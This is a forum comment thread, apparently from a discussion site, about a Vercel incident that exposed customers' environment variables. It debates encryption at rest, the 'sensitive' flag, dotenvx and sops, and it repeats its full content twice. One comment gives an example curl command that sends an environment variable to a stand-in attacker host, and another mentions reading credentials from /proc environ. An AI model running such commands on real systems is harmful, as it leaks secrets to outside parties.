5 ms·

I believe this is inaccurate. Vercel env vars are all encrypted at rest (on their side). The 'sensitive' checkbox means you can't retrieve the value once it's s

I believe this is inaccurate. Vercel env vars are all encrypted at rest (on their side). The 'sensitive' checkbox means you can't retrieve the value once it's set, which would have saved your ass in this case. Also, annoying to read an article like this without a single link to source material.

trick-or-treat 5mo ago
I think it's clear that some customers env vars got exposed, so that can only mean unencrypted, right?
- TheDong 5mo ago
  They said "encrypted at rest", which they almost certainly are. If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly. Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.
  - trick-or-treat 5mo ago
    Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.
    - magackame 5mo ago
      It seems only encrypt and throw away the key would be the acceptable strategy
      - TheDong 5mo ago
        They need to give your app the environment variables later so they cannot throw away the key. For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later. Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part. You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
        QuantumNomad_ 5mo ago
        > You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature. Piping to /dev/null is of course pointless. What you really want is the /dev/null as a Service Enterprise plan for $500/month with its High Availability devnull Cluster ;) https://devnull-as-a-service.com/pricing/ https://devnull-as-a-service.com/pricing/
      - SahAssar 5mo ago
        Then you might aswell write them to /dev/null. Safer, has the same effect and faster.
    - bauruine 5mo ago
      How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var https://hacker.example/$my_encrypted_var to exfiltrate them. What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
      - trick-or-treat 5mo ago
        Yeah that's a good point. Dotenvx seems to claim a solution but I'm not smart enough to make sense of it. However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.
        TheDong 5mo ago
        dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/ https://getsops.io/ Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest. The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
        scottmotte 5mo ago
        > If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext Same for sops. > The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend The encrypted .env file is actually committed to source code, and the decryption key is placed in Vercel's environment variables dashboard. The attacker only gained access to the latter here if using dotenvx so they can't get your secrets. Unless they also gained access to the codebase in which they have terabytes of data to go through and match up private keys from the database with encrypted .env files from the source code exfiltration - much more effort for attackers.
    - burnished 5mo ago
      There isn't really a way around it.
      - otabdeveloper4 5mo ago
        There is -- you can expose a UNIX socket for serving credentials and allow access to it only from a whitelist of systemd services.
        rcxdude 5mo ago
        They would still exist in plaintext, just the permissions would make it a little harder to access.
        otabdeveloper4 5mo ago
        No, UNIX sockets work over SSL too. You can, theoretically, decompile the system memory dump and try to mine the credentials out of the credential server's heap, but that exploit is exponentially more difficult to do that a simple `cat /proc/1234/environ`.
        lemagedurage 5mo ago
        That works on a single persistent box, but unfortunately, that means giving up on autoscaling, which is not so nice for cloud applications.
        otabdeveloper4 5mo ago
        You can proxy the UNIX socket to a network server if you want to. You can even use SSL encryption at all times too.
        lmz 5mo ago
        Once it's networked you lose the "whitelist of systemd services" and it's then no different from any networked secret store.
    - jakewins 5mo ago
      If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”. Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive. A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.
      - TeMPOraL 5mo ago
        How does that transalte to VMs? If "encryption at rest" is done at the guest level, instead of (or in addition to) host, that would be pretty close to minimal "encrypted except when it use" time and protect against virtual equivalents of pulling a hard drive out of a data center.
      - wongarsu 5mo ago
        "encrypted at rest" is great to guard against stolen laptops, or in the server room both against people breaking in and stealing servers (unlikely at the security level of most hyperscalers, but possible) or more commonly broken HDDs being improperly disposed
    - otabdeveloper4 5mo ago
      Env vars are not secure. Anything that has root access can see all env vars of all applications via /proc. (And modern Linux is unusable without root access, thanks to Docker and other fast-and-loose approaches.)
      - ErroneousBosh 5mo ago
        How often do you log in as root, or use sudo to become root, when you're working with Docker containers? Because I never do, unless I'm down in the depths of /var/lib/docker doing stuff I shouldn't.
        otabdeveloper4 5mo ago
        That just means you outsourced the `sudo` invocations to some other person. (Which is even worse.)
        ErroneousBosh 5mo ago
        No, it means I understand how Unix permissions work.
        otabdeveloper4 5mo ago
        Glib response, but in reality you basically cannot do anything in a modern Linux system without root except read and write files in your home directory.
junto 5mo ago
They have an interesting UI decision here. The environmental variables list look like they are passwords (masked with a view button) and the sensitive flag is obvious in the add blade after you read the advisory but not before. We are busy rotating secrets because they were not marked as sensitive.

trick-or-treat 5mo ago

I think it's clear that some customers env vars got exposed, so that can only mean unencrypted, right?

TheDong 5mo ago
They said "encrypted at rest", which they almost certainly are. If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly. Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.
- trick-or-treat 5mo ago
  Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.
  - magackame 5mo ago
    It seems only encrypt and throw away the key would be the acceptable strategy
    - TheDong 5mo ago
      They need to give your app the environment variables later so they cannot throw away the key. For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later. Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part. You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
      - QuantumNomad_ 5mo ago
        > You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature. Piping to /dev/null is of course pointless. What you really want is the /dev/null as a Service Enterprise plan for $500/month with its High Availability devnull Cluster ;) https://devnull-as-a-service.com/pricing/ https://devnull-as-a-service.com/pricing/
    - SahAssar 5mo ago
      Then you might aswell write them to /dev/null. Safer, has the same effect and faster.
  - bauruine 5mo ago
    How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var https://hacker.example/$my_encrypted_var to exfiltrate them. What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
    - trick-or-treat 5mo ago
      Yeah that's a good point. Dotenvx seems to claim a solution but I'm not smart enough to make sense of it. However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.
      - TheDong 5mo ago
        dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/ https://getsops.io/ Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest. The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
        scottmotte 5mo ago
        > If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext Same for sops. > The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend The encrypted .env file is actually committed to source code, and the decryption key is placed in Vercel's environment variables dashboard. The attacker only gained access to the latter here if using dotenvx so they can't get your secrets. Unless they also gained access to the codebase in which they have terabytes of data to go through and match up private keys from the database with encrypted .env files from the source code exfiltration - much more effort for attackers.
  - burnished 5mo ago
    There isn't really a way around it.
    - otabdeveloper4 5mo ago
      There is -- you can expose a UNIX socket for serving credentials and allow access to it only from a whitelist of systemd services.
      - rcxdude 5mo ago
        They would still exist in plaintext, just the permissions would make it a little harder to access.
        otabdeveloper4 5mo ago
        No, UNIX sockets work over SSL too. You can, theoretically, decompile the system memory dump and try to mine the credentials out of the credential server's heap, but that exploit is exponentially more difficult to do that a simple `cat /proc/1234/environ`.
      - lemagedurage 5mo ago
        That works on a single persistent box, but unfortunately, that means giving up on autoscaling, which is not so nice for cloud applications.
        otabdeveloper4 5mo ago
        You can proxy the UNIX socket to a network server if you want to. You can even use SSL encryption at all times too.
        lmz 5mo ago
        Once it's networked you lose the "whitelist of systemd services" and it's then no different from any networked secret store.
  - jakewins 5mo ago
    If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”. Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive. A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.
    - TeMPOraL 5mo ago
      How does that transalte to VMs? If "encryption at rest" is done at the guest level, instead of (or in addition to) host, that would be pretty close to minimal "encrypted except when it use" time and protect against virtual equivalents of pulling a hard drive out of a data center.
    - wongarsu 5mo ago
      "encrypted at rest" is great to guard against stolen laptops, or in the server room both against people breaking in and stealing servers (unlikely at the security level of most hyperscalers, but possible) or more commonly broken HDDs being improperly disposed
  - otabdeveloper4 5mo ago
    Env vars are not secure. Anything that has root access can see all env vars of all applications via /proc. (And modern Linux is unusable without root access, thanks to Docker and other fast-and-loose approaches.)
    - ErroneousBosh 5mo ago
      How often do you log in as root, or use sudo to become root, when you're working with Docker containers? Because I never do, unless I'm down in the depths of /var/lib/docker doing stuff I shouldn't.
      - otabdeveloper4 5mo ago
        That just means you outsourced the `sudo` invocations to some other person. (Which is even worse.)
        ErroneousBosh 5mo ago
        No, it means I understand how Unix permissions work.
        otabdeveloper4 5mo ago
        Glib response, but in reality you basically cannot do anything in a modern Linux system without root except read and write files in your home directory.

junto 5mo ago

They have an interesting UI decision here. The environmental variables list look like they are passwords (masked with a view button) and the sensitive flag is obvious in the add blade after you read the advisory but not before. We are busy rotating secrets because they were not marked as sensitive.